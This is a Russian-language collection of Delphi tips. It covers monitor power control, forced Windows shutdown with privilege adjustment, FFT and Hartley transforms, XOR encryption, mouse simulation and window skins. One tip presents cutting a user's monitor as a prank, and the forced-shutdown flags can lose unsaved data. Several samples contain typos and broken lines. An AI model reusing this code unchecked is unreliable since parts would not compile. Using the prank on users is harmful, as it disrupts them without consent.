Статьи по Delphi (016)…

Вырубить монитор.

Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)...

procedure TForm1.Button3Click(Sender: TObject);
begin
  MessageDlg('Уже поздно. Будь послушным мальчиком. '+
  'Туши свет и вали спать!', mtInformatoion, [mbOk], 0);
  SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
end;

Для того, чтобы программно включить монитор можете использовать следующий код:

procedure TForm1.Button3Click(Sender: TObject);
begin
  SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
end;

Вырубить монитор 2.

SendMessage(HWND_BROADCAST,WM_SYSCOMMAND, 0);

SendMessage(HWND_BROADCAST,WM_SYSCOMMAND, -1);

Выключить или перезагрузить компьютер.

Выключить монитор - это классно, но можно сделать ещё круче - программно завершить работу компьютера. Выглядеть это будет примерно так, с использованием различных режимов выключения:

ExitWindowsEx(EWX_LOGOFF or ewx_force,0);

Завершает работу всех запущенных в системе процессов, сохраняя данные приложения, вызвавшего эту функцию.

ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0);

Останавливает работу системы в безопасный момент времени. Все буферы очищаются с сохранением данных на диске, все процессы останавливаются.

ExitWindowsEx(EWX_REBOOT or ewx_force,0);

Перезагрузка системы.

ExitWindowsEx(EWX_FORCE or ewx_force,0);

Завершает работу всех запущенных в системе приложений, не посылая им сообщения WM_QUERYENDSESSION и WM_ENDSESSIO. Это может вызвать потерю не сохраненных данных.

ExitWindowsEx(EWX_POWEROFF or ewx_force,0);

Завершает работу компьютера с выключением питания, если система поддерживает автоуправление питанием.

ExitWindowsEx(EWX_FORCEIFHUNG or ewx_force,0);

Ещё вариант перезагрузки:

mov  al,0F0h  
out  64h,al

Как выключить Win2000.

Известно, что с помощью стандартных функций Windows 2000 не вырубишь. Сегодня мы напишем прогу на WinApi, выключающую W2k, и занимающую всего 10 Кб! Создай обычный текстовый документ, открой его любым редактором, и пиши туда такую хрень:

program reboot;
uses
  Windows, messages;
procedure RebootSystem;
var
  handle_: THandle;
  n: DWORD;
  luid: TLargeInteger;
  priv: TOKEN_PRIVILEGES;
  ver: TOSVERSIONINFO;
begin
  ver.dwOSVersionInfoSize := Sizeof(ver);
  GetVersionEx(ver);
  if ver.dwPlatformId=VER_PLATFORM_WIN32_NT then
  begin
    if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, handle_) then
      if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', luid) then
      begin
        priv.PrivilegeCount := 1;
        priv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
        priv.Privileges[0].Luid := luid;
        AdjustTokenPrivileges(handle_, false, priv, 0, nil, n);
      end
      else
        writeln('Ошибка')
    else
      writeln('Ошибка ');
  end
  else
    writeln('Ошибка ');
  if not ExitWindowsEx(EWX_POWEROFF,1) then
    writeln('Ошибка');
end;
begin
  RebootSystem;
end.

Сохрани этот файл под именем Reboot.dpr, открой из Delphi, и компилируй!

Как выключить Win2000 2.

procedure NTShutdown;
var
  TokenHandle: Cardinal;
  RetLength: Cardinal;
  TP: TTokenPrivileges;
begin
  OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
    or TOKEN_QUERY, TokenHandle);
  if LookupPrivilegeValue(nil, 'SeShutdownPrivilege',
    TP.Privileges[0].Luid) then
  begin
    TP.PrivilegeCount := 1;
    TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    RetLength := 0;
    if AdjustTokenPrivileges(TokenHandle, FALSE, TP, 0, nil, RetLength) then
    begin
      if not SetProcessShutdownParameters($4FF, SHUTDOWN_NORETRY) then
      begin
        MessageBox(0, 'Shutdown failed', nil, MB_OK or MB_ICONSTOP);
      end
      else
      begin
        ExitWindowsEx(EWX_FORCE or EWX_SHUTDOWN, 0);
      end;
      exit;
    end;
  end;
  MessageBox(0, 'Access denied', nil, MB_OK or MB_ICONSTOP);
end;

Преобразование сигнала в спекр и обратно (методы Хартли, Фурье и классический).

Автор: Denis Furman.

{$A+,B-,C+,D+,E-,F-,G+,H+,I+,J+,K-,L+,M-,N+,O-,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y+
,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Buttons, ExtCtrls, ComCtrls, Menus;
type
  TfmMain = class(TForm)
    MainMenu1: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    StatusBar1: TStatusBar;
    N3: TMenuItem;
    imgInfo: TImage;
    Panel1: TPanel;
    btnStart: TSpeedButton;
    procedure btnStartClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  end;
var
  fmMain: TfmMain;
implementation
uses PFiles;
{$R *.DFM}
function Power2(lPower: Byte): LongInt;
begin
  Result := 1 shl lPower;
end;
procedure ClassicDirect(var aSignal, aSpR, aSpI: array of Double; N:
  LongInt);
var
  lSrch: LongInt;
var
  lGarm: LongInt;
var
  dSumR: Double;
var
  dSumI: Double;
begin
  for lGarm := 0 to N div 2 - 1 do
  begin
    dSumR := 0;
    dSumI := 0;
    for lSrch := 0 to N - 1 do
    begin
      dSumR := dSumR + aSignal[lSrch] * Cos(lGarm * lSrch / N * 2 * PI);
      dSumI := dSumI + aSignal[lSrch] * Sin(lGarm * lSrch / N * 2 * PI);
    end;
    aSpR[lGarm] := dSumR;
    aSpI[lGarm] := dSumI;
  end;
end;
procedure ClassicInverce(var aSpR, aSpI, aSignal: array of Double; N:
  LongInt);
var
  lSrch: LongInt;
var
  lGarm: LongInt;
var
  dSum: Double;
begin
  for lSrch := 0 to N - 1 do
  begin
    dSum := 0;
    for lGarm := 0 to N div 2 - 1 do
      dSum := dSum
        + aSpR[lGarm] * Cos(lSrch * lGarm * 2 * Pi / N)
        + aSpI[lGarm] * Sin(lSrch * lGarm * 2 * Pi / N);
    aSignal[lSrch] := dSum * 2;
  end;
end;
function InvertBits(BF, DataSize, Power: Word): Word;
var
  BR: Word;
var
  NN: Word;
var
  L: Word;
begin
  br := 0;
  nn := DataSize;
  for l := 1 to Power do
  begin
    NN := NN div 2;
    if (BF >= NN) then
    begin
      BR := BR + Power2(l - 1);
      BF := BF - NN
    end;
  end;
  InvertBits := BR;
end;
procedure FourierDirect(var RealData, VirtData, ResultR, ResultV: array of
  Double; DataSize: LongInt);
var
  A1: Real;
var
  A2: Real;
var
  B1: Real;
var
  B2: Real;
var
  D2: Word;
var
  C2: Word;
var
  C1: Word;
var
  D1: Word;
var
  I: Word;
var
  J: Word;
var
  K: Word;
var
  Cosin: Real;
var
  Sinus: Real;
var
  wIndex: Word;
var
  Power: Word;
begin
  C1 := DataSize shr 1;
  C2 := 1;
  for Power := 0 to 15 //hope it will be faster then
  round(ln(DataSize) / ln(2))
    do
    if Power2(Power) = DataSize then
      Break;
  for I := 1 to Power do
  begin
    D1 := 0;
    D2 := C1;
    for J := 1 to C2 do
    begin
      wIndex := InvertBits(D1 div C1, DataSize, Power);
      Cosin := +(Cos((2 * Pi / DataSize) * wIndex));
      Sinus := -(Sin((2 * Pi / DataSize) * wIndex));
      for K := D1 to D2 - 1 do
      begin
        A1 := RealData[K];
        A2 := VirtData[K];
        B1 := ((Cosin * RealData[K + C1] - Sinus * VirtData[K + C1]));
        B2 := ((Sinus * RealData[K + C1] + Cosin * VirtData[K + C1]));
        RealData[K] := A1 + B1;
        VirtData[K] := A2 + B2;
        RealData[K + C1] := A1 - B1;
        VirtData[K + C1] := A2 - B2;
      end;
      Inc(D1, C1 * 2);
      Inc(D2, C1 * 2);
    end;
    C1 := C1 div 2;
    C2 := C2 * 2;
  end;
  for I := 0 to DataSize div 2 - 1 do
  begin
    ResultR[I] := +RealData[InvertBits(I, DataSize, Power)];
    ResultV[I] := -VirtData[InvertBits(I, DataSize, Power)];
  end;
end;
procedure Hartley(iSize: LongInt; var aData: array of Double);
type
  taDouble = array[0..MaxLongInt div SizeOf(Double) - 1] of Double;
var
  prFI, prFN, prGI: ^taDouble;
var
  rCos, rSin: Double;
var
  rA, rB, rTemp: Double;
var
  rC1, rC2, rC3, rC4: Double;
var
  rS1, rS2, rS3, rS4: Double;
var
  rF0, rF1, rF2, rF3: Double;
var
  rG0, rG1, rG2, rG3: Double;
var
  iK1, iK2, iK3, iK4: LongInt;
var
  iSrch, iK, iKX: LongInt;
begin
  iK2 := 0;
  for iK1 := 1 to iSize - 1 do
  begin
    iK := iSize shr 1;
    repeat
      iK2 := iK2 xor iK;
      if (iK2 and iK) <> 0 then
        Break;
      iK := iK shr 1;
    until False;
    if iK1 > iK2 then
    begin
      rTemp := aData[iK1];
      aData[iK1] := aData[iK2];
      aData[iK2] := rTemp;
    end;
  end;
  iK := 0;
  while (1 shl iK) < iSize do
    Inc(iK);
  iK := iK and 1;
  if iK = 0 then
  begin
    prFI := @aData;
    prFN := @aData;
    prFN := @prFN[iSize];
    while Word(prFI) < Word(prFN) do
    begin
      rF1 := prFI^[0] - prFI^[1];
      rF0 := prFI^[0] + prFI^[1];
      rF3 := prFI^[2] - prFI^[3];
      rF2 := prFI^[2] + prFI^[3];
      prFI^[2] := rF0 - rF2;
      prFI^[0] := rF0 + rF2;
      prFI^[3] := rF1 - rF3;
      prFI^[1] := rF1 + rF3;
      prFI := @prFI[4];
    end;
  end
  else
  begin
    prFI := @aData;
    prFN := @aData;
    prFN := @prFN[iSize];
    prGI := prFI;
    prGI := @prGI[1];
    while Word(prFI) < Word(prFN) do
    begin
      rC1 := prFI^[0] - prGI^[0];
      rS1 := prFI^[0] + prGI^[0];
      rC2 := prFI^[2] - prGI^[2];
      rS2 := prFI^[2] + prGI^[2];
      rC3 := prFI^[4] - prGI^[4];
      rS3 := prFI^[4] + prGI^[4];
      rC4 := prFI^[6] - prGI^[6];
      rS4 := prFI^[6] + prGI^[6];
      rF1 := rS1 - rS2;
      rF0 := rS1 + rS2;
      rG1 := rC1 - rC2;
      rG0 := rC1 + rC2;
      rF3 := rS3 - rS4;
      rF2 := rS3 + rS4;
      rG3 := Sqrt(2) * rC4;
      rG2 := Sqrt(2) * rC3;
      prFI^[4] := rF0 - rF2;
      prFI^[0] := rF0 + rF2;
      prFI^[6] := rF1 - rF3;
      prFI^[2] := rF1 + rF3;
      prGI^[4] := rG0 - rG2;
      prGI^[0] := rG0 + rG2;
      prGI^[6] := rG1 - rG3;
      prGI^[2] := rG1 + rG3;
      prFI := @prFI[8];
      prGI := @prGI[8];
    end;
  end;
  if iSize < 16 then
    Exit;
  repeat
    Inc(iK, 2);
    iK1 := 1 shl iK;
    iK2 := iK1 shl 1;
    iK4 := iK2 shl 1;
    iK3 := iK2 + iK1;
    iKX := iK1 shr 1;
    prFI := @aData;
    prGI := prFI;
    prGI := @prGI[iKX];
    prFN := @aData;
    prFN := @prFN[iSize];
    repeat
      rF1 := prFI^[000] - prFI^[iK1];
      rF0 := prFI^[000] + prFI^[iK1];
      rF3 := prFI^[iK2] - prFI^[iK3];
      rF2 := prFI^[iK2] + prFI^[iK3];
      prFI^[iK2] := rF0 - rF2;
      prFI^[000] := rF0 + rF2;
      prFI^[iK3] := rF1 - rF3;
      prFI^[iK1] := rF1 + rF3;
      rG1 := prGI^[0] - prGI^[iK1];
      rG0 := prGI^[0] + prGI^[iK1];
      rG3 := Sqrt(2) * prGI^[iK3];
      rG2 := Sqrt(2) * prGI^[iK2];
      prGI^[iK2] := rG0 - rG2;
      prGI^[000] := rG0 + rG2;
      prGI^[iK3] := rG1 - rG3;
      prGI^[iK1] := rG1 + rG3;
      prGI := @prGI[iK4];
      prFI := @prFI[iK4];
    until not (Word(prFI) < Word(prFN));
    rCos := Cos(Pi / 2 / Power2(iK));
    rSin := Sin(Pi / 2 / Power2(iK));
    rC1 := 1;
    rS1 := 0;
    for iSrch := 1 to iKX - 1 do
    begin
      rTemp := rC1;
      rC1 := (rTemp * rCos - rS1 * rSin);
      rS1 := (rTemp * rSin + rS1 * rCos);
      rC2 := (rC1 * rC1 - rS1 * rS1);
      rS2 := (2 * (rC1 * rS1));
      prFN := @aData;
      prFN := @prFN[iSize];
      prFI := @aData;
      prFI := @prFI[iSrch];
      prGI := @aData;
      prGI := @prGI[iK1 - iSrch];
      repeat
        rB := (rS2 * prFI^[iK1] - rC2 * prGI^[iK1]);
        rA := (rC2 * prFI^[iK1] + rS2 * prGI^[iK1]);
        rF1 := prFI^[0] - rA;
        rF0 := prFI^[0] + rA;
        rG1 := prGI^[0] - rB;
        rG0 := prGI^[0] + rB;
        rB := (rS2 * prFI^[iK3] - rC2 * prGI^[iK3]);
        rA := (rC2 * prFI^[iK3] + rS2 * prGI^[iK3]);
        rF3 := prFI^[iK2] - rA;
        rF2 := prFI^[iK2] + rA;
        rG3 := prGI^[iK2] - rB;
        rG2 := prGI^[iK2] + rB;
        rB := (rS1 * rF2 - rC1 * rG3);
        rA := (rC1 * rF2 + rS1 * rG3);
        prFI^[iK2] := rF0 - rA;
        prFI^[0] := rF0 + rA;
        prGI^[iK3] := rG1 - rB;
        prGI^[iK1] := rG1 + rB;
        rB := (rC1 * rG2 - rS1 * rF3);
        rA := (rS1 * rG2 + rC1 * rF3);
        prGI^[iK2] := rG0 - rA;
        prGI^[0] := rG0 + rA;
        prFI^[iK3] := rF1 - rB;
        prFI^[iK1] := rF1 + rB;
        prGI := @prGI[iK4];
        prFI := @prFI[iK4];
      until not (LongInt(prFI) < LongInt(prFN));
    end;
  until not (iK4 < iSize);
end;
procedure HartleyDirect(
  var aData: array of Double;
  iSize: LongInt);
var
  rA, rB: Double;
var
  iI, iJ, iK: LongInt;
begin
  Hartley(iSize, aData);
  iJ := iSize - 1;
  iK := iSize div 2;
  for iI := 1 to iK - 1 do
  begin
    rA := aData[ii];
    rB := aData[ij];
    aData[iJ] := (rA - rB) / 2;
    aData[iI] := (rA + rB) / 2;
    Dec(iJ);
  end;
end;
procedure HartleyInverce(
  var aData: array of Double;
  iSize: LongInt);
var
  rA, rB: Double;
var
  iI, iJ, iK: LongInt;
begin
  iJ := iSize - 1;
  iK := iSize div 2;
  for iI := 1 to iK - 1 do
  begin
    rA := aData[iI];
    rB := aData[iJ];
    aData[iJ] := rA - rB;
    aData[iI] := rA + rB;
    Dec(iJ);
  end;
  Hartley(iSize, aData);
end;
//not tested
procedure HartleyDirectComplex(real, imag: array of Double; n: LongInt);
var
  a, b, c, d: double;
  q, r, s, t: double;
  i, j, k: LongInt;
begin
  j := n - 1;
  k := n div 2;
  for i := 1 to k - 1 do
  begin
    a := real[i];
    b := real[j];
    q := a + b;
    r := a - b;
    c := imag[i];
    d := imag[j];
    s := c + d;
    t := c - d;
    real[i] := (q + t) * 0.5;
    real[j] := (q - t) * 0.5;
    imag[i] := (s - r) * 0.5;
    imag[j] := (s + r) * 0.5;
    dec(j);
  end;
  Hartley(N, Real);
  Hartley(N, Imag);
end;
//not tested
procedure HartleyInverceComplex(real, imag: array of Double; N: LongInt);
var
  a, b, c, d: double;
  q, r, s, t: double;
  i, j, k: longInt;
begin
  Hartley(N, real);
  Hartley(N, imag);
  j := n - 1;
  k := n div 2;
  for i := 1 to k - 1 do
  begin
    a := real[i];
    b := real[j];
    q := a + b;
    r := a - b;
    c := imag[i];
    d := imag[j];
    s := c + d;
    t := c - d;
    imag[i] := (s + r) * 0.5;
    imag[j] := (s - r) * 0.5;
    real[i] := (q - t) * 0.5;
    real[j] := (q + t) * 0.5;
    dec(j);
  end;
end;
procedure DrawSignal(var aSignal: array of Double; N, lColor: LongInt);
var
  lSrch: LongInt;
var
  lHalfHeight: LongInt;
begin
  with fmMain do
  begin
    lHalfHeight := imgInfo.Height div 2;
    imgInfo.Canvas.MoveTo(0, lHalfHeight);
    imgInfo.Canvas.Pen.Color := lColor;
    for lSrch := 0 to N - 1 do
    begin
      imgInfo.Canvas.LineTo(lSrch, Round(aSignal[lSrch]) + lHalfHeight);
    end;
    imgInfo.Repaint;
  end;
end;
procedure DrawSpector(var aSpR, aSpI: array of Double; N, lColR, lColI:
  LongInt);
var
  lSrch: LongInt;
var
  lHalfHeight: LongInt;
begin
  with fmMain do
  begin
    lHalfHeight := imgInfo.Height div 2;
    for lSrch := 0 to N div 2 do
    begin
      imgInfo.Canvas.Pixels[lSrch, Round(aSpR[lSrch] / N) + lHalfHeight] :=
        lColR;
      imgInfo.Canvas.Pixels[lSrch + N div 2, Round(aSpI[lSrch] / N) +
        lHalfHeight] := lColI;
    end;
    imgInfo.Repaint;
  end;
end;
const
  N = 512;
var
  aSignalR: array[0..N - 1] of Double; //
var
  aSignalI: array[0..N - 1] of Double; //
var
  aSpR, aSpI: array[0..N div 2 - 1] of Double; //
var
  lFH: LongInt;
procedure TfmMain.btnStartClick(Sender: TObject);
const
  Epsilon = 0.00001;
var
  lSrch: LongInt;
var
  aBuff: array[0..N - 1] of ShortInt;
begin
  if lFH > 0 then
  begin
    //   Repeat
    if F.Read(lFH, @aBuff, N) <> N then
    begin
      Exit;
    end;
    for lSrch := 0 to N - 1 do
    begin
      aSignalR[lSrch] := ShortInt(aBuff[lSrch] + $80);
      aSignalI[lSrch] := 0;
    end;
    imgInfo.Canvas.Rectangle(0, 0, imgInfo.Width, imgInfo.Height);
    DrawSignal(aSignalR, N, $D0D0D0);
    //    ClassicDirect(aSignalR, aSpR, aSpI, N);                 //result in aSpR & aSpI,
    aSignal unchanged
      //    FourierDirect(aSignalR, aSignalI, aSpR, aSpI, N);       //result in aSpR &
    aSpI, aSiggnalR & aSignalI modified
    HartleyDirect(aSignalR, N); //result in source aSignal ;-)
    DrawSpector(aSignalR, aSignalR[N div 2 - 1], N, $80, $8000);
    DrawSpector(aSpR, aSpI, N, $80, $8000);
    {    for lSrch := 0 to N div 2 -1 do begin                    //comparing classic & Hartley
    if (Abs(aSpR[lSrch] - aSignal[lSrch]) > Epsilon)
    or ((lSrch > 0) And (Abs(aSpI[lSrch] - aSignal[N - lSrch]) > Epsilon))
    then MessageDlg('Error comparing',mtError,[mbOK],-1);
    end;}
    HartleyInverce(aSignalR, N); //to restore original signal with
    HartleyDirect
      //    ClassicInverce(aSpR, aSpI, aSignalR, N);                //to restore original
    signal with ClassicDirect or FourierDirect
    for lSrch := 0 to N - 1 do
      aSignalR[lSrch] := aSignalR[lSrch] / N; //scaling
    DrawSignal(aSignalR, N, $D00000);
    Application.ProcessMessages;
    //   Until False;
  end;
end;
procedure TfmMain.FormCreate(Sender: TObject);
begin
  lFH := F.Open('input.pcm', ForRead);
end;
procedure TfmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  F.Close(lFH);
end;
end.

Простой расчет контрольной суммы.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Example of calculating a simple checksum. 
  Beispiel, wie eine einfache Checksumme berechnet werden kann. 
}
 function CalcStrChecksum(s: string; zerobased: Boolean): Longint;
 var
   i: integer;
   L: integer;
 begin
   Result := 0;
   l := Length(s);
   if l > 0 then
   begin
     for i := 1 to l do
       if zerobased then
         Inc(Result, Ord(s[i]) - 65)
     else
       Inc(Result, Ord(s[i]));
   end;
 end;

Простая база данных (запись в файл).

Следующая программа ведет простую базу данных. При каждом ее запуске на экране появляется диалоговое окно, в поля которого пользователь может ввести дату и температуру воздуха.

unit pogoda_;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes,
  Graphics, Controls, Forms, Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Edit1: TEdit; // дата
    Edit2: TEdit; // температура
    Button1: TButton; // кнопка Добавить
    Label1: TLabe1;
    Label2: TLabe1;
    procedure FormActivate(Sender: TObject);
    procedure ButtonlClick(Sender: TObject);
    procedure FormClose(Sender: TObject;
      var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}
const
  DBNAME = 'a:\pogoda. db';
var
  db: TextFile; // файл — база данных
procedure TForm1.FormActivate(Sender: TObject);
begin
  AssignFile(db, DBNAME);
  {$I-}
  Append(db);
  if IOResult = 0 then
  begin
    Edit1.Text := DateToStr(Date); // получить текущую дату
    Edit2.SetFocus; // курсор в поле Edit2
  end
  else
  begin
    Rewrite(db);
    if IOResult <> 0 then
    begin
      // сделать недоступными поля ввода
      // и командную кнопку
      Edit1.Enabled := False;
      Edit2.Enabled := False;
      Buttonl.Enabled := False;
      ShowMessage('Ошибка создания ' + DBNAME);
    end;
  end;
end;
// щелчок на кнопке Добавить
procedure TForml.Button1Click(Sender: TObject);
begin
  if (Length(edit1.text) = 0) or (Length(edit2.text) = 0) then
    ShowMessage('Ошибка ввода данных.'
      + #13 + 'Bce поля должны быть заполнены.')
  else
    writeln(db, editl.text, ' ', edit2.text);
end;
// Событие OnClose возникает при закрытии формы
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  CloseFile(db); // закрыть файл БД
end;
end.

Закрывает базу данных процедура TFormi.Formciose, которая обрабатывает событие enclose, возникающее при закрытии формы приложения.

Простой пример DLL.

Автор: Steve Schafer

library MyDll;
uses Windows;
function SomeFunc(I: Integer): Integer; stdcall;
begin
  if Odd(I) then 
    Result := 3 * I + 1
  else 
    Result := I div 2;
end;
exports
  SomeFunc;
begin
end.

И вот модуль импорта, который вы можете включить в любой проект, которому необходим доступ к функциям DLL:

unit MyDllImport;
interface
uses Windows;
function SomeFunc(I: Integer): Integer; stdcall;
implementation
function SomeFunc; external 'mydll.dll';
end.

Простое число.

unit simple_;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
  n: integer; // проверяемое число
  d: integer; // делитель
  r: integer; // остаток от деления n на d
begin
  n := StrToInt(Edit1.text);
  d := 2; // сначала будем делить на два
  repeat
    r := n mod d;
    if r <> 0 {// n не разделилось нацело на d} then
      d := d + 1;
  until r = 0; // повторять пока не найдено число на n делится без остатка
  label2.caption := Edit1.text;
  if d = n then
    label2.caption := label2.caption + ' - простое число.'
  else
    label2.caption := label2.caption + ' - обычное число.';
end;
end.

Простой пример XOR шифрования.

Вот ужасно простой пример XOR шифрования - работает без глюков.

var
  key, text, longkey, result: string;
  i: integer;
  toto, c: char;
begin
  for i := 0 to (length(text) div length(key)) do
    longkey := longkey + key;
  for i := 1 to length(text) do
  begin
    toto := chr((ord(text[i]) xor ord(longkey[i]))); // XOR алгоритм
    result := result + toto;
  end;
end;

Симулировать щелчок мышкой.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// Set the mouse cursor to position x,y: 
// Maus an Position x,y setzen: 
SetCursorPos(x, y);
 // Simulate the left mouse button down 
// Linke Maustaste simulieren 
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
 mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
 // Simulate the right mouse button down 
// Rechte Maustaste simulieren 
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
 mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
 // Simulate a double click 
// Einen Doppelklick simulieren 
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
 mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
 GetDoubleClickTime;
 mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
 mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
 // Simulate a double click on a panel 
// Einen Doppelklick auf einen Panel simulieren 
SendMessage(Panel1.Handle, WM_LBUTTONDBLCLK, 10, 10)

Создать растягиваемую без бордюра форму.

{ 
  With this code you can create none border style (BorderStyle = bsNone) 
  but sizeable windows (forms) 
  First you must set BorderStyle := bsNone of your Form in Object Browser. 
  There is your small but forced code; 
} 
type 
  TForm1 = class(TForm) 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
    procedure CreateParams(var Params: TCreateParams); override; 
  end; 
var 
  Form1: TForm1; 
implementation 
{$R *.dfm} 
procedure TForm1.CreateParams(var Params: TCreateParams); 
begin 
  inherited CreateParams(Params); 
  Params.Style := (Params.Style or WS_THICKFRAME); 
end; 

Величина SizeOf.

В Delphi 2.0 при использовании функции sizeof для моей записи:

f_format = record
  format_name : string[8];
  file_size  : smallint;
  fields     : smallint;
end;

Sizeof(f_format) возвращает 14 ; Почему это не возвращает 13 ??????

Вам необходимо выключить опцию компилятора 'the Align Record Fields' (выравнивание полей записи).

SoftIce - первые шаги.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

В поставку SoftIce входит пример GdiDemo, его и будем отлаживать (придерживаясь указаний фирмы NuMega).

Скины.

Немного предистории: надо было мне создать скиновое окошко. Вроде несложно, исходников по этому делу везде лежит навалом, бери да делай. Проблема организовалась в том, что для сложных фигур просчет такого окна из растра занимает достаточно много времени. А когда окон несколько? Короче, я решил все это дело написать самостоятельно, причем отказавшись от таких вещей, как GetPixel() и CombineRgn(). Получилось вроде здорово и быстро.

Далее следует исходный код с комментариями:

unit RgnUnit;
interface
uses
  Windows, SysUtils, Classes;
function CreateBitmapRgn(DC : hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
{
Данная функция создает регион, используя для этого растр Bitmap
и исключая из него цвет TransClr. Все расчеты производятся для
устройства DC.
данная функция состоит из двух частей:
первая часть выделяет память и копирует туда исходное изображение в формате
24 бита на точку, без палитры, т.е. фактически в каждых трех байтах
данного раздела памяти будет записан цвет точки исходного изображения.
Данный формат был выбран из удобства его обработки
(нет необходимости создавать палитру), к тому же нет потери качества
при конвертации исходного изображения. Однако, теоретически можно использовать
любой формат.
Для выделения памяти под конвертируемое изображение используется функция
WinAPI CreateDIBSection. Данная функция выделяет память и создает
независмый растр. Для вызова данной функции необходимо заполнить структуру
BITMAPINFO, что достаточно не сложно.
Внимание! для изображений Windows Bitmap используется разрешение в формате
dots per metr (pixels per metr), стандартному разрешению 72dpi соответствует
2834dpm.
Фактически, данную функция можно не использовать, вручную выделив память
для последующего переноса исходного изображения.
Для конвертации и переноса исходного изображения в выделнную память
используется функция WinAPI GetDIBits. Функции передаются следуюшие параметры:
исходное изображение, количество рядов для переноса, указатель на память,
куда следует перенести изображение, структура BITMAPINFO с заполнеными первыми
шестью членами (именно здесь задяются параметры для конвертирования
изображения). Фактически, данная функция может перевести любой исходный растр
в любой необходимый растр.
вторая чать описываемой функции проходится по области памяти, куда было
занесено конвертируемое изображение, отсекает ненужные области и содает регион.
Для создания региона используется функция WinAPI ExtCreateRegion. Для вызова
данной функции необходимо заполнить структуру RGNDATA, состоящую из структуры
RGNDATAHEADER и необходимого количества структур RECT. в Дельфи структура
RGNDATA описана так:
_RGNDATA = record
rdh: TRgnDataHeader;
Buffer: array[0..0] of CHAR;
Reserved: array[0..2] of CHAR;
end;
RGNDATA = _RGNDATA;
Скорее всего, поле Reserved было введено программистами Дельфи только для того,
чтобы в нее умещался хотя бы один прямоугольник, т.к. в Microsoft Platfrom SDK
этого поля нет. Однако, данная структура нам не подходит, т.к. нам необходимо
учитывать сразу несколько прямоугольников. Для решения этой задачи приходится
выделять память вручную, с учетом RGNDATAHEADER и количества прямоугольников,
необходимых нам, заносить туда прямоугольники (после RGNDATAHEADER),
создавать указатель на структуру RGNDATA и ставить его на выделнную память.
Следовательно, придется два раза пройтись по растру: первый раз - для расчета
количества прямоугольников, а второй - для уже фактического их занесения
в выделенную память.
Есть несколько способов для избежания двойного прохода растра, но все они
имеют свои недостатки и здесь не рассматриваются. В любом случае, даже для
больших и сложных изображений эти два прохода достаточно быстры.
по окнчании работы функции освобождается память, выделенная на конвертируемый
растр и структуру RGNDATA.
}
implementation
//создает регион из растра Bitmap для DC с удалением цвета TransClr
//внимание! TColorRef и TColor не одно и тоже.
//Для перевода используется функция ColorToRGB().
function CreateBitmapRgn(DC: hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
var
  bmInfo: TBitmap;               // структура BITMAP WinAPI
  W, H: Integer;                 // высота и ширина растра
  bmDIB: hBitmap;                // дискрептор независимого растра
  bmiInfo: BITMAPINFO;           // структура BITMAPINFO WinAPI
  lpBits, lpOldBits: PRGBTriple; // указатели на структуры RGBTRIPLE WinAPI
  lpData: PRgnData;              // указатель на структуру RGNDATA WinAPI
  X, Y, C, F, I: Integer;        // переменные циклов
  Buf: Pointer;                  // указатель
  BufSize: Integer;              // размер указателя
  rdhInfo: TRgnDataHeader;       // структура RGNDATAHEADER WinAPI
  lpRect: PRect;                 // указатель на TRect (RECT WinAPI)
begin
  Result:=0;
  //если растр не задан, выходим
  if Bitmap=0 then
    Exit;
  //узнаем размеры растра
  GetObject(Bitmap, SizeOf(bmInfo), @bmInfo);
  //используя структуру BITMAP
  W:=bmInfo.bmWidth;
  H:=bmInfo.bmHeight;
  //определяем смещение в байтах
  I:=(W*3)-((W*3) div 4)*4;
  if I<>0 then
    I:=4-I;
  //Пояснение: растр Windows Bitmap читается снизу вверх, причем каждая строка
  //дополняется нулевыми байтами до ее кратности 4.
  //для 32-х битный растров такой сдвиг делать не надо.
  //заполняем BITMAPINFO для передачи в CreateDIBSection
  bmiInfo.bmiHeader.biWidth:=W;            // ширина
